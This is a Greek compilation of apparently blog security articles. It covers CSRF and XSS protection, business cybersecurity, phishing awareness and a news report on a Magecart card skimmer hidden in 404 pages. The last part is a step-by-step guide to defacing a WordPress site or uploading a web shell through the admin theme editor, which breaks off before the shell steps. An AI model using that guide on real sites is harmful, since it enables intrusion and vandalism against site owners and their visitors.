Στην εποχή της ψηφιακής επανάστασης, η ασφάλεια στον κυβερνοχώρο αποτελεί προτεραιότητα. Μέσα σε αυτό το πλαίσιο, μια σοβαρή απειλή που απειλεί την ασφάλεια των δικτυακών εφαρμογών και των χρηστών τους είναι η CSRF (Cross-Site Request Forgery). Σε αυτό το άρθρο, θα διερευνήσουμε αναλυτικά την ευπάθεια CSRF, τον τρόπο λειτουργίας της και τα σημαντικά μέτρα που μπορούμε να λάβουμε για την προστασία μας.
Τι είναι η CSRF;
Η CSRF, ή Cross-Site Request Forgery, είναι μια ευπάθεια ασφαλείας που επιτρέπει σε επιτιθέμενους να προσομοιώνουν αιτήματα από διαδικτυακές εφαρμογές που εμπιστεύονται τον χρήστη, εξαπατώντας το σύστημα και να εκτελούν εντολές χωρίς τη συναίνεση του χρήστη.
Πώς λειτουργεί η CSRF;
Κατά τη διάρκεια μιας επίθεσης CSRF, ο επιτιθέμενος προσποιείται ότι είναι ο χρήστης και προσπαθεί να προωθήσει αιτήματα προς μια διαδικτυακή εφαρμογή που ο χρήστης έχει συνδεθεί. Αν ο χρήστης έχει ανοιχτή τη σύνδεσή του στην εφαρμογή, το αίτημα εκτελείται με τα δικαιώματα του χρήστη, κάνοντας την επίθεση ακόμη πιο επικίνδυνη.
Πώς μπορούμε να προστατευτούμε;
Η προστασία από CSRF απαιτεί σωστό σχεδιασμό και εφαρμογή των δικτυακών εφαρμογών. Ορισματικά μέτρα περιλαμβάνουν:
Χρήση Tokens (CSRF Tokens): Μια από τις κύριες πρακτικές για την προστασία από CSRF είναι η χρήση CSRF tokens. Αυτά τα τυχαία δημιουργημένα tokens ενσωματώνονται στα αιτήματα του χρήστη και στον εξυπηρετητή. Αν το αίτημα δεν περιλαμβάνει το σωστό token, απορρίπτεται.
Χρήση του SameSite Attribute: Οι cookies που χρησιμοποιούνται για την αυθεντικοποίηση πρέπει να έχουν το SameSite attribute ορισμένο σωστά. Αυτό μπορεί να αποτρέψει την αποστολή cookies από άλλες τομές του διαδικτύου.
Έλεγχος Προέλευσης (Origin): Ο έλεγχος της προέλευσης (origin) των αιτημάτων μπορεί να βοηθήσει στην αποτροπή επιθέσεων CSRF. Οι διαδικτυακές εφαρμογές πρέπει να ελέγχουν ότι τα αιτήματα προέρχονται από την αναμενόμενη προέλευση.
Χρήση Προθεμάτων (Prefixes) στα Cookies: Η προσθήκη προθεμάτων στα cookies μπορεί να βοηθήσει στον περιορισμό της διαδικασίας ανάγνωσης και εγγραφής cookies από ανεπιθύμητες προσπάθειες.
Ενημέρωση και Εκπαίδευση: Οι προγραμματιστές και οι διαχειριστές συστημάτων πρέπει να είναι ενημερωμένοι για τις ευπάθειες CSRF και να εκπαιδεύονται σχετικά με τις βέλτιστες πρακτικές για την προστασία των εφαρμογών τους.
Η ευπάθεια CSRF αποτελεί μια σοβαρή απειλή για την ασφάλεια των δικτυακών εφαρμογών και των δεδομένων των χρηστών. Με την εφαρμογή των παραπάνω μέτρων, μπορούμε να περιορίσουμε τον κίνδυνο και να διασφαλίσουμε την ασφαλή λειτουργία των εφαρμογών μας στον ψηφιακό κόσμο.
Οι επιθέσεις XSS, γνωστές και ως Cross-Site Scripting, αποτελούν σοβαρή απειλή για την ασφάλεια των ιστοσελίδων και των χρηστών τους. Στο παρόν άρθρο, θα εξετάσουμε τι είναι οι επιθέσεις XSS, πώς λειτουργούν και ποιοι τρόποι προστασίας μπορούν να υιοθετηθούν για να αποτραπεί η κακόβουλη εκμετάλλευσή τους.
Τι είναι η επίθεση XSS;
Η επίθεση XSS αναφέρεται σε καταστάσεις όπου κακόβουλος κώδικας JavaScript ενσωματώνεται σε μια ιστοσελίδα και εκτελείται στον φυλλομετρητή των χρηστών χωρίς τη συναίνεσή τους. Ο κακόβουλος κώδικας μπορεί να προέρχεται από εξωτερικές πηγές ή ακόμη και από τον ίδιο τον ιστότοπο, εάν τα εισαγόμα δεδομένα δεν ελέγχονται σωστά.
Οι επιθέσεις XSS διακρίνονται σε τρεις κατηγορίες:
Stored XSS: Ο κακόβουλος κώδικας αποθηκεύεται στη βάση δεδομένων του ιστότοπου και παραδίδεται στους χρήστες όταν επισκέπτονται τη σελίδα. Αυτή η μορφή επίθεσης μπορεί να έχει μακροχρόνιες συνέπειες.
Reflected XSS: Ο κακόβουλος κώδικας ενσωματώνεται σε URL ή φόρμες και εκτελείται κατά την αίτηση που κάνει ο χρήστης. Συνήθως, αυτές οι επιθέσεις επηρεάζουν μόνο τον συγκεκριμένο χρήστη.
DOM-based XSS: Αυτή η μορφή επίθεσης συμβαίνει στον πελάτη, όταν ο κακόβουλος κώδικας τροποποιεί το DOM (Document Object Model) της σελίδας, επηρεάζοντας έτσι την εμφάνιση ή τη συμπεριφορά της.
Πώς Λειτουργούν οι Επιθέσεις XSS;
Για να κατανοήσουμε πώς λειτουργούν οι επιθέσεις XSS, ας ρίξουμε μια ματιά στα βασικά στάδια:
Εισαγωγή Κακόβουλου Κώδικα: Ο επιτιθέμενος εισάγει κακόβουλο κώδικα (συνήθως JavaScript)
Στη συνέχεια, ας εξετάσουμε πώς μπορείτε να προστατευτείτε από αυτούς τους κινδύνους και να ενισχύσετε την ασφάλεια του ιστότοπού σας:
Είσοδος δεδομένων (Input Validation): Το πρώτο βήμα στην προστασία από επιθέσεις XSS είναι η προσεκτική εισαγωγή και επεξεργασία των δεδομένων που εισέρχονται στην ιστοσελίδα σας. Βεβαιωθείτε ότι εφαρμόζετε κανόνες εισαγωγής (input validation) και αποτρέπετε την εκτέλεση κώδικα που μπορεί να εισαχθεί από χρήστες.
Κωδικοποίηση εξόδου (Output Encoding): Κωδικοποίηση εξόδου είναι η διαδικασία με την οποία τα δεδομένα εξόδου, πριν αποσταλούν στον πελάτη, κωδικοποιούνται έτσι ώστε να μην εκτελεστούν ως κώδικας JavaScript. Χρησιμοποιήστε αξιόπιστες βιβλιοθήκες ή εργαλεία κωδικοποίησης εξόδου.
Content Security Policy (CSP): Το CSP είναι ένα ισχυρό εργαλείο ασφάλειας που επιτρέπει στους διαχειριστές ιστοσελίδων να καθορίσουν ποια περιεχόμενα μπορούν να εκτελεστούν σε μια σελίδα. Μπορείτε να ρυθμίσετε το CSP σας για να αποτρέψετε την εκτέλεση εξωτερικού JavaScript και άλλων πόρων.
Διαχείριση συνόδων (Session Management): Βεβαιωθείτε ότι οι συνεδρίες των χρηστών διαχειρίζονται με ασφάλεια και ότι οι πληροφορίες συνόδου δεν μπορούν να προσπελαστούν ή να τροποποιηθούν από κακόβουλους.
Ενημερωμένοι Φυλλομετρητές (Browsers): Ενθαρρύνετε τους χρήστες να χρησιμοποιούν ενημερωμένους φυλλομετρητές, καθώς πολλοί από αυτούς έχουν ενσωματωμένα μέτρα ασφαλείας κατά των επιθέσεων XSS.
Εκπαίδευση των Χρηστών: Εκπαιδεύστε τους χρήστες σας σχετικά με τους κινδύνους των επιθέσεων XSS και τη σημασία της προσοχής κατά την περιήγηση.
Αυτόματοι Ελεγκτές Ασφαλείας (Security Scanners): Χρησιμοποιήστε αυτόματους ελεγκτές ασφαλείας για να ανιχνεύσετε πιθανές ευπάθειες στον κώδικα της ιστοσελίδας σας.
Συνεχής Ενημέρωση: Η ασφάλεια των ιστοσελίδων είναι μια συνεχής προσπάθεια. Κρατήστε το λογισμικό, τον κώδικα, και τα CMS (Content Management Systems) σας ενημερωμένα σε τακτά χρονικά διαστήματα.
Αντιμετώπιση των Επιθέσεων XSS:
Αν παρόλα αυτά εκτελεστεί μια επίθεση XSS στον ιστότοπό σας, είναι σημαντικό να ξέρετε πώς να αντιμετωπίσετε την κατάσταση:
Κατανόηση της Επίθεσης: Πρέπει να κατανοήσετε πώς λειτούργησε η επίθεση και ποια δεδομένα εκτελέστηκαν. Αυτό σας επιτρέπει να αντιδράσετε αποτελεσματικότερα.
Κλείσιμο της Ευπάθειας: Βεβαιωθείτε ότι κλείνετε την ευπάθεια στον κώδικα σας που επέτρεψε την επίθεση. Αυτό μπορεί να σημαίνει την τροποποίηση του κώδικα ή την απενεργοποίηση προσωρινά του επιρρέποντος τμήματος του ιστότοπου.
Ανάλυση Κακόβουλου Κώδικα: Εξετάστε τον κακόβουλο κώδικα που χρησιμοποιήθηκε στην επίθεση για να κατανοήσετε τις πιθανές συνέπειες και να αντιμετωπίσετε τυχόν επιπτώσεις.
Καταγραφή Και Αναφορά: Καταγράψτε την επίθεση και αναφέρετέ την στις κατάλληλες αρχές ασφαλείας. Αυτό μπορεί να βοηθήσει να προστατευτείτε από περαιτέρω επιθέσεις και να βελτιώσετε την ασφάλεια του ιστότοπου σας.
Ενημέρωση των Χρηστών: Ενημερώστε τους χρήστες σας για το περιστατικό και τα μέτρα που λαμβάνετε για την αντιμετώπισή του.
Εφαρμογή Παρακολούθησης (Monitoring): Χρησιμοποιήστε λογισμικό παρακολούθησης κίνησης και ασφαλείας για να εντοπίζετε πρόωρα επιθέσεις και ανωμαλίες στην κίνηση της ιστοσελίδας σας.
Οι επιθέσεις XSS αποτελούν μια σοβαρή απειλή για την ασφάλεια του ιστότοπού σας και των χρηστών σας. Με την εφαρμογή σωστών πρακτικών ασφαλείας και την ενημέρωση για τις τρέχουσες απειλές, μπορείτε να προστατεύσετε τον ιστότοπό σας από αυτούς τους κινδύνους.
Φίλτρα:
Για να προστατευτείτε από επιθέσεις XSS, μπορείτε να χρησιμοποιήσετε διάφορα φίλτρα και μέτρα ασφαλείας στον κώδικα της ιστοσελίδας σας. Αυτά τα φίλτρα θα σας βοηθήσουν να ελέγξετε την εισερχόμενη και εξερχόμενη πληροφορία για πιθανούς κώδικες XSS. Εδώ είναι μερικά από τα βασικά μέτρα που μπορείτε να λάβετε:
Εισαγωγή δεδομένων (Input Validation): Επιβεβαιώστε ότι τα δεδομένα που εισάγονται από τους χρήστες στην ιστοσελίδα σας ελέγχονται για ανεπιθύμητους χαρακτήρες και κωδικούς πριν τα αποθηκεύσετε ή τα εμφανίσετε. Χρησιμοποιήστε λειτουργίες όπως htmlspecialchars() για την κωδικοποίηση εισόδου.
Κωδικοποίηση εξόδου (Output Encoding): Κωδικοποιήστε την εξαγόμενη πληροφορία πριν την εμφανίσετε στους χρήστες. Χρησιμοποιήστε τη σωστή συνάρτηση κωδικοποίησης, όπως htmlspecialchars() για τον HTML κώδικα και json_encode() για τα δεδομένα JSON.
Content Security Policy (CSP): Ρυθμίστε μια αποτρεπτική πολιτική CSP που να περιορίζει τις εκτελούμενες πηγές κώδικα στον ιστότοπό σας. Μπορείτε να καταχωρίσετε ποιοι πόροι επιτρέπονται και απαγορεύονται, όπως τα scripts από εξωτερικούς διακομιστές.
Εσωτερική Λειτουργία Escape: Χρησιμοποιήστε εσωτερικές λειτουργίες αποτροπής των επιθέσεων XSS που παρέχονται από το framework ή το περιβάλλον ανάπτυξης που χρησιμοποιείτε (όπως htmlspecialchars() σε PHP).
Βελτιωμένη Αυθεντικοποίηση (Authentication): Ενισχύστε το σύστημα αυθεντικοποίησης για τους χρήστες σας και βεβαιωθείτε ότι διαχειρίζεστε την πρόσβαση στις προστατευμένες περιοχές του ιστότοπου σας με ασφάλεια.
Παρακολούθηση και Συνεχής Ενημέρωση: Χρησιμοποιήστε λογισμικό παρακολούθησης και συνεχώς ενημερώνετε τον κώδικα σας για να αντιμετωπίσετε νέες απειλές και ευπάθειες.
Αυτά τα μέτρα συνιστούν ένα ισχυρό σύνολο πρακτικών για την προστασία από επιθέσεις XSS.
Βεβαιωθείτε ότι εφαρμόζετε αυτά τα μέτρα ασφαλείας σε όλα τα μέρη της ιστοσελίδας σας, συμπεριλαμβανομένων των πεδίων εισόδου, των φορμών επικοινωνίας, των σχολίων χρηστών και άλλων σημείων που εμφανίζουν πληροφορίες από τους χρήστες.
Επιπλέον, αξίζει να σημειωθεί ότι το καλύτερο μέτρο προστασίας είναι η συνεχής ενημέρωση και η εφαρμογή των καλών πρακτικών ασφαλείας στην ανάπτυξη και τη συντήρηση του ιστότοπού σας. Επίσης, πρέπει να είστε ενήμεροι για τις τρέχουσες απειλές και να αναθεωρείτε τα μέτρα σας ασφαλείας κατά τακτά χρονικά διαστήματα.
Επιπλέον, εάν χρησιμοποιείτε πλατφόρμες διαχείρισης περιεχομένου (CMS) όπως το WordPress, υπάρχουν πολλά πρόσθετα (plugins) και επεκτάσεις που μπορείτε να χρησιμοποιήσετε για την αυτόματη εφαρμογή ορισμένων από αυτά τα μέτρα ασφαλείας.
Το να προστατεύσετε τον ιστότοπό σας από επιθέσεις XSS είναι κρίσιμης σημασίας για την ασφάλεια των χρηστών σας και τη φήμη του ιστότοπού σας. Εφαρμόστε τα παραπάνω μέτρα ασφαλείας και παρακολουθήστε συνεχώς τον ιστότοπό σας για ενδεχόμενες αδυναμίες ασφαλείας.
Η κυβερνοασφάλεια είναι κάτι περισσότερο από μια απλή ανησυχία για την τεχνολογική ασφάλεια. Είναι η βασική αμυντική γραμμή της επιχείρησής σας, προστατεύοντας τα δεδομένα, τους πελάτες και τη φήμη σας. Σε αυτό το άρθρο, θα δούμε τη σημασία της κυβερνοασφάλειας στις επιχειρήσεις και πώς μπορείτε να την ενσωματώσετε στην καθημερινή λειτουργία σας.
Κυβερνοασφάλεια: Τι είναι και γιατί είναι σημαντική;
Η κυβερνοασφάλεια αναφέρεται στην προστασία των ψηφιακών συστημάτων, δεδομένων και δικτύων από κυβερνοαπειλές και επιθέσεις. Αυτές οι απειλές μπορούν να περιλαμβάνουν malware, phishing, επιθέσεις ransomware και πολλά άλλα. Γιατί όμως είναι τόσο σημαντική για κάθε επιχείρηση;
1. Προστασία των Δεδομένων: Οι επιχειρήσεις συχνά διαθέτουν ευαίσθητα δεδομένα πελατών, εργαζομένων και οικονομικά στοιχεία. Η διαρροή ή η κλοπή αυτών των δεδομένων μπορεί να οδηγήσει σε σοβαρές συνέπειες, συμπεριλαμβανομένης της απώλειας φήμης και των νομικών επιπτώσεων.
2. Προστασία της Φήμης: Η καλή φήμη είναι ανεκτίμητη. Ένας κακόβουλός «χάκερ» μπορεί να καταστρέψει τη φήμη μιας επιχείρησης, διαρρέοντας προσωπικά δεδομένα ή προκαλώντας αναστάτωση στις υπηρεσίες της.
3. Προστασία από Νομικές Επιπτώσεις: Η μη συμμόρφωση με τους νόμους περί προστασίας των δεδομένων και της κυβερνοασφάλειας μπορεί να οδηγήσει σε σοβαρές νομικές συνέπειες.
Πώς να Ενσωματώσετε την Κυβερνοασφάλεια:
Η κυβερνοασφάλεια δεν είναι μια μονοδιάστατη λύση. Πρέπει να ενσωματωθεί σε όλες τις πτυχές της επιχείρησης. Αναλυτικά:
1. Κατάρτιση και Ευαισθητοποίηση: Εκπαιδεύστε το προσωπικό σας για τις κυβερνοαπειλές και τις βέλτιστες πρακτικές ασφάλειας.
2. Τεχνολογικά Εργαλεία: Χρησιμοποιήστε ασφαλή λογισμικά και υλικά, όπως firewalls, antivirus, IDS/IPS, και SIEM συστήματα, για να προστατεύσετε τα συστήματά σας από επιθέσεις.
3. Ανάλυση και Εντοπισμός Κινδύνων: Εφαρμόστε μηχανισμούς ανίχνευσης και αντιμετώπισης κυβερνοαπειλών για να εντοπίσετε εγκαίρως ανωμαλίες στο δίκτυό σας.
4. Πολιτικές και Διαδικασίες: Τηρήστε πολιτικές και διαδικασίες κυβερνοασφάλειας που καθορίζουν πώς πρέπει να διαχειρίζεστε τα δεδομένα και τις πιθανές απειλές.
5. Συνεργασία με Εξωτερικούς Εμπειρογνώμονες: Εξετάστε τη συνεργασία με εξωτερικούς εμπειρογνώμονες για τον έλεγχο κυβερνοασφάλειας και τον εντοπισμό πιθανών ευπάθειών.
6. Ανάκτηση Δεδομένων και Επιχειρησιακή Συνέχεια: Αναπτύξτε σχέδια ανάκτησης δεδομένων και συνέχειας επιχειρησιακής δραστηριότητας, ώστε να αντιμετωπίσετε τις επιθέσεις.
7. Συμμόρφωση με τους Νόμους: Διασφαλίστε ότι η επιχείρησή σας συμμορφώνεται με τους νόμους περί προστασίας των δεδομένων και της κυβερνοασφάλειας.
Η κυβερνοασφάλεια δεν είναι πλέον πολυτέλεια, αλλά αναγκαίο μέτρο για κάθε επιχείρηση. Η προστασία των δεδομένων, της φήμης και της νομικής συμμόρφωσης πρέπει να βρίσκεται στην κορυφή της λίστας προτεραιοτήτων σας. Εφαρμόζοντας καλές πρακτικές κυβερνοασφάλειας, μπορείτε να προστατεύσετε την επιχείρησή σας και να διασφαλίσετε την ασφαλή της λειτουργία.
Εκατομμύρια επιθέσεις ανά τον κόσμο, γίνονται καθημερινά από κακόβουλους «χάκερ» οι οποίοι θέλουν να υποκλέψουν προσωπικά δεδομένα από χρήστες.
Τις περισσότερες φορές πιστεύουμε πως αν η συσκευή μας είναι ασφαλής, τότε είμαστε και εμείς. Ωστόσο αυτό δεν ισχύει, διότι το μεγαλύτερο θύμα δεν είναι ένα σύστημα, αλλά ο άνθρωπος.
Γιατί όμως είναι ο άνθρωπος και τι κινήσεις μπορούμε να κάνουμε για να είμαστε έστω και λίγο ασφαλής;
Ας μιλήσουμε λοιπόν για τις επιθέσεις «ψαρέματος» γνωστές και ως phishing.
ΤΙ ΕΙΝΑΙ ΤΟ PHISHING?
Η μέθοδος phishing είναι αρκετά γνωστή και χρησιμοποιείται πολύ συχνά από τους «χάκερ». Σίγουρα θα σας έχει σταλεί μήνυμα στο κινητό σας τηλέφωνο από την δήθεν Εθνική Τράπεζα, από το δήθεν ταχυδρομείο για να παραλάβετε το δέμα σας, και άλλα πολλά.
Ο σκοπός λοιπόν του επιτιθέμενου είναι να σας προσελκύσει να πατήσετε τον σύνδεσμο, έτσι ώστε να ανακατευθυνθείτε σε μία σελίδα ΚΛΩΝΟ της ανάλογης official ιστοσελίδας που έχει χρησιμοποιήσει ο χάκερ, να βάλετε τα στοιχεία σας και να προσπαθήσει να πάρει πρόσβαση στους λογαριασμούς σας.
Επίσης ο επιτιθέμενος έχει την δυνατότητα, να σας επισυνάψει ένα αρχείο στέλνοντας στο email σας με το οποίο θα μπορεί να πάρει απομακρυσμένη μη εξουσιοδοτημένη πρόσβαση στην συσκευή σας. Αφού λοιπόν εσύ ανοίξεις το αρχείο, ξεκινάει και το «παιχνίδι» του χάκερ. Παίρνοντας πρόσβαση στην συσκευή σου θα μπορεί με λίγες απλές εντολές να κάνει κάποια βασικά πράγματα όπως: Να ανοίξει την κάμερα σου live, να ηχογραφήσει από το μικρόφωνο, να κατεβάσει αρχεία στην δική του συσκευή και με την ησυχία του μετά να κάτσει να τα επεξεργαστεί ή να «ανεβάσει» αρχεία στην δική σου συσκευή και άλλα πολλά και διάφορα.
ΠΩΣ ΜΠΟΡΩ ΝΑ ΠΡΟΣΤΑΤΕΥΤΩ;
Δεν μπορούμε να εγγυηθούμε πως υπάρχει 100% ασφάλεια για κανέναν λόγο. Το πιο δυνατό σύστημα να έχεις και ο πιο έξυπνος άνθρωπος να είσαι, πάντα θα υπάρξει αυτό το κενό ασφαλείας. Είτε στο σύστημα σου, είτε από την απροσεξία σου.
Όμως, μπορούμε να κάνουμε κάποιες ενέργειες έτσι ώστε να αποφύγουμε κάθε είδους επίθεση phishing. Δεν ανοίγουμε ποτέ συνδέσμους από email, sms τα οποία μας φαίνονται άγνωστα ή περίεργα. Πάντα ελέγχουμε το link να δούμε αν είναι official και από εκεί κρίνουμε αν θα το ανοίξουμε ή όχι.
Δεν ανοίγουμε αρχεία για κανέναν λόγο τύπου (Αφαιρέθηκαν από τον λογαριασμό σας 1.000 ευρώ, κάνε κλικ στο PDF αρχείο για να δεις αναλυτικά) κ.τ.λ.
Μπορεί επίσης κάποιος να παριστάνει κάποιον φίλο σας. Η καλύτερη λύση εκεί ποιά είναι λοιπόν; Όχι πάντως να του στείλετε μήνυμα, αλλά να τον πάρετε κλήση και να τον ρωτήσετε αν ο ίδιος σας έστειλε το αρχείο. Διότι μπορεί ο κακόβουλος χάκερ να έχει φτιάξει ένα παρόμοιο email (ελέγχουμε πολύ καλά τα email) ή να έχει εισβάλει στον λογαριασμό του φίλου σας και να σας στέλνει διάφορα.
ΒΟΗΘΑΕΙ ΤΟ ΝΑ ΕΧΩ ANTIVIRUS ΑΝ ΤΥΧΩΝ ΑΝΟΙΞΩ ΚΑΚΟΒΟΥΛΟ ΑΡΧΕΙΟ;
Εννοείται βοηθάει αλλά όχι σε όλες τις περιπτώσεις. Διότι πλέον υπάρχουν αρκετά προγράμματα τα οποία περνάνε εύκολα το firewall, είτε το ακυρώνουν τελείως με την έναρξη τους.
ΠΩΣ ΜΠΟΡΩ ΝΑ ΔΩ ΑΝ ΕΝΑΣ ΣΥΝΔΕΣΜΟΣ ΕΙΝΑΙ ΚΑΚΟΒΟΥΛΟΣ;
Λοιπόν. Εδώ γίνονται λίγο περίεργα τα πράγματα. Έχουμε ακούσει αρκετές φορές την καραμέλα «Μην βάζετε τα στοιχεία σας στους συνδέσμους». Ωστόσο λίγοι έχουν μιλήσει για το cookie stealing. Τα cookies ουσιαστικά περιέχουν κάποιες πληροφορίες σχετικά με τις συνδέσεις σου και κάποιες άλλες πληροφορίες πάνω στο browser. Δεν θα αναλύσουμε σε αυτό το άρθρο τι είναι ακριβώς αλλά καλό θα ήταν αν σας φαίνεται άγνωστος αυτός που σας στέλνει το μήνυμα να μην το ανοίγεται διότι έστω και με ένα άνοιγμα μπορεί να γίνει υποκλοπή των cookies και να πάρουν πληροφορίες από το Browser σας. (Αν γνωρίζεις κάτι παραπάνω από υπολογιστές και θες να ανοίξεις σύνδεσμο, σου προτείνουμε το burpsuite).
Αν βλέπετε «περίεργη» την διεύθυνση URL , τότε κάτι πάει λάθος. Π.χ πες ότι ο επιτιθέμενος θέλει να σε πείσει ότι είναι από την Εθνική. (Το official site της εθνικής είναι www.nbg.gr) ο επιτιθέμενος λοιπόν μπορεί να έχει τον σύνδεσμο ως εξής “www.nbgg.com.gr”. Μπορείτε να διακρίνετε και μόνοι σας τις διαφορές.
Για το κλείσιμο θα θέλαμε να σας ενημερώσουμε πως δεν είστε μόνοι σας, την έχουμε πατήσει και εμείς όπως και όλοι. Όπως είπαμε και πριν, ο πιο έξυπνος άνθρωπος να είσαι ή ο καλύτερος προγραμματιστής ή ακόμα και χάκερ, υπάρχει περίπτωση να πέσεις στην παγίδα.
Συμβουλές: Πώς να βοηθήσετε κάποιον που ο λογαριασμός του έχει παραβιαστεί;
Παρόλοπουαυτέςοι συμβουλές δεν σχετίζονταιειδικάμε την ασφάλεια, γνωρίζουμεότι πολλοί από εσάςέχετελάβει αναφορές ότιοιλογαριασμοίσαςέχουνπαραβιαστεί.Δημιουργήσαμεορισμέναεργαλείαπουεπιτρέπουνστους χρήστες να επαναφέρουν τουςλογαριασμούςτους μόνοι τους, εάνοιλογαριασμοίτους έχουν παραβιαστεί.
Πρώτον, βεβαιωθείτε ότι η διεύθυνση ηλεκτρονικού ταχυδρομείου που σχετίζεται με το λογαριασμό είναιπροστατευμένη ή ότι έχει δημιουργηθεί μιανέα διεύθυνση ηλεκτρονικούταχυδρομείου για την επαναφορά του λογαριασμού.
Καθοδηγήστε τον καταγγέλλοντα να επισκεφθεί την ακόλουθηδιεύθυνση: www.facebook.com/hacked. Περισσότερες πληροφορίες σχετικάμετοντρόπο επαναφοράς του λογαριασμούτου: https://m.facebook.com/login/identify?refid=69
Εάν ο καταγγέλλων έχει χάσειτην πρόσβαση στο email του λογαριασμού τουστοFacebook,παρακαλούμε συμβουλέψτε τον να ξεκινήσει από εδώ:https://www.facebook.com/help/132243923516844.
Εάν ο λογαριασμός του χρήστη δεν έχει παραβιαστεί, οχρήστηςδεν θα έχει πλέονπρόσβαση στο λογαριασμό και δεν θα μπορεί να συνδεθεί:https://www.facebook.com/help/292105707596942/.
Δύο συμβουλές για να προλάβετε την παραβίαση από την αρχή:
Χάκερς τροποποιούν τις σελίδες 404 των ηλεκτρονικών καταστημάτων για να κλέψουν πιστωτικές κάρτες
Μια νέα μορφή επίθεσης κατά των καρτών της Magecart, καταλαμβάνει τις σελίδες σφαλμάτων 404 των ιστότοπων των διαδικτυακών πωλητών, κρύβοντας κακόβουλο κώδικα για να κλέψει τα στοιχεία των πιστωτικών καρτών των πελατών.
Η τεχνική αυτή είναι μία από τις τρεις παραλλαγές που παρατηρήθηκαν από ερευνητές της Akamai Security Intelligence Group, με τις άλλες δύο να κρύβουν τον κώδικα στο χαρακτηριστικό “onerror” της ετικέτας HTML και σε ένα δυαδικό αρχείο εικόνας για να φαίνεται ως το απόσπασμα κώδικα Meta Pixel.
Η Akamai αναφέρει ότι η επίθεση επικεντρώνεται σε ιστότοπους Magento και WooCommerce, με ορισμένα θύματα να συνδέονται με γνωστούς οργανισμούς στους τομείς των τροφίμων και του λιανικού εμπορίου.
Χειραγώγηση σελίδων 404
Όλοι οι ιστότοποι διαθέτουν σελίδες σφάλματος 404, οι οποίες εμφανίζονται στους επισκέπτες όταν έχουν πρόσβαση σε μια ιστοσελίδα που δεν υπάρχει, έχει μετακινηθεί ή έχει έναν νεκρό/σπασμένο σύνδεσμο.
Οι δράστες του Magecart αξιοποιούν την προεπιλεγμένη σελίδα “404 Not Found” για να κρύψουν και να φορτώσουν τον κακόβουλο κώδικα κλοπής καρτών, κάτι που δεν έχει παρατηρηθεί ξανά σε προηγούμενες εκστρατείες.
Ο φορτωτής skimmer είτε μεταμφιέζεται ως ένα απόσπασμα κώδικα Meta Pixel είτε κρύβεται μέσα σε τυχαία inline scripts που υπάρχουν ήδη στην παραβιασμένη ιστοσελίδα πληρωμής.
Ο φορτωτής ξεκινά ένα αίτημα λήψης σε μια σχετική διαδρομή με όνομα “icons”, αλλά καθώς αυτή η διαδρομή δεν υπάρχει στον ιστότοπο, το αίτημα καταλήγει σε σφάλμα “404 Not Found”.
Οι ερευνητές της Akamai υπέθεσαν αρχικά ότι το skimmer δεν ήταν πλέον ενεργό ή ότι η ομάδα Magecart είχε κάνει κάποιο λάθος στη διαμόρφωση. Ωστόσο, κατά την προσεκτικότερη εξέταση, διαπίστωσαν ότι ο φορτωτής περιείχε μια ταυτοποίηση κανονικής έκφρασης που αναζητούσε μια συγκεκριμένη συμβολοσειρά στην επιστρεφόμενη HTML της σελίδας 404.
Κατά τον εντοπισμό της συμβολοσειράς στη σελίδα, η Akamai βρήκε μια συνυφασμένη συμβολοσειρά κωδικοποιημένη με base64, κρυμμένη σε ένα σχόλιο. Η αποκωδικοποίηση αυτής της συμβολοσειράς αποκάλυψε το JavaScript skimmer, το οποίο κρύβεται σε όλες τις σελίδες 404.
Επειδή η αίτηση γίνεται σε μια διαδρομή πρώτου μέρους, τα περισσότερα εργαλεία ασφαλείας που παρακολουθούν ύποπτα αιτήματα δικτύου στη σελίδα πληρωμής θα το παραβλέψουν.
Κλέβοντας τα δεδομένα
Ο κώδικας skimmer εμφανίζει μια ψεύτικη φόρμα την οποία οι επισκέπτες του ιστότοπου αναμένεται να συμπληρώσουν με ευαίσθητα στοιχεία, όπως τον αριθμό της πιστωτικής τους κάρτας, την ημερομηνία λήξης και τον κωδικό ασφαλείας.
Μόλις τα δεδομένα αυτά εισαχθούν στην ψεύτικη φόρμα, το θύμα λαμβάνει ένα ψεύτικο σφάλμα “session timeout”.
Στο παρασκήνιο, όλες οι πληροφορίες κωδικοποιούνται με base64 και αποστέλλονται στον επιτιθέμενο μέσω μιας διεύθυνσης URL αίτησης εικόνας που φέρει τη συμβολοσειρά ως παράμετρο ερώτησης.
Αυτή η προσέγγιση βοηθά στην αποφυγή εντοπισμού από εργαλεία παρακολούθησης της κυκλοφορίας δικτύου, καθώς η αίτηση μοιάζει με ένα καλοήθες συμβάν ανάκτησης εικόνας. Ωστόσο, η αποκωδικοποίηση της συμβολοσειράς base64 αποκαλύπτει προσωπικές πληροφορίες και πληροφορίες πιστωτικής κάρτας.
Η περίπτωση της χειραγώγησης των σελίδων 404 αναδεικνύει τις εξελισσόμενες τακτικές και την ευελιξία των φορέων του Magecart, οι οποίοι συνεχώς δυσκολεύουν τους webmaster να εντοπίσουν τον κακόβουλο κώδικά τους σε παραβιασμένους ιστότοπους και να τον αποκαταστήσουν.
Ανέβασμα shell/Deface απο το admin panel του WordPress
Πάμε να δούμε έναν τρόπο για το πως θα ανεβάσετε shell σε μια wordpress σελίδα, όταν έχετε είδη πρόσβαση στο admin panel..συνήθως έχουμε πρόσβαση και ψάχνουμε σε ένα άρθρο να βάλουμε το κείμενό μας, τώρα θα δούμε κατι πολύ παραπάνω.
Τι χρειαζόμαστε:
1)Να έχουμε πρόσβαση σε μια wordpress σελίδα, δηλαδή τα στοιχεία του διαχειριστή
2)Ένα shell της επιλογής μας
ΟΔΗΓΙΕΣ
Διάρκεια-3 λεπτά, αν έχουμε τα παραπάνω.
Κάνουμε σύνδεση στο admin panel συνήθως είναι /wp-admin η /wp-login.php
Στα αριστερά θα δείτε το μενού, κάνετε κλικ στο “Εμφάνιση” και μετά στο “Διορθωτής”
Εδώ πέρα βλέπουμε τα αρχεία του theme, που έχουν μορφή .php και .css ένα shell έχει μορφή .php
Έχουμε 2 επιλογές:
1)Deface στην αρχική σελίδα
2)Ανέβασμα shell
Πάμε να δούμε πρώτα το πως μπορείτε να κάνετε deface, στα δεξιά θα δείτε κάποια αρχεία κάνετε αναζήτηση (ctrl+f) για index.php άμα δεν το βρει τότε για home.php
Άμα βρει και τα 2, τότε μας απασχολεί μόνο το index.php
ΠΩΣ ΘΑ ΚΑΝΟΥΜΕ DEFACE!
Είναι απλο, πολύ απλο, απλα σβήνουμε το κώδικα όλο και βάζουμε το δικό μας, δηλαδή το κώδικα που έχει το deface μας, και άμα κάνουμε ανανέωση στο site θα εμφανιστεί στην αρχική σελίδα!!
ΠΩΣ ΑΝΕΒΑΖΟΥΜΕ SHELL
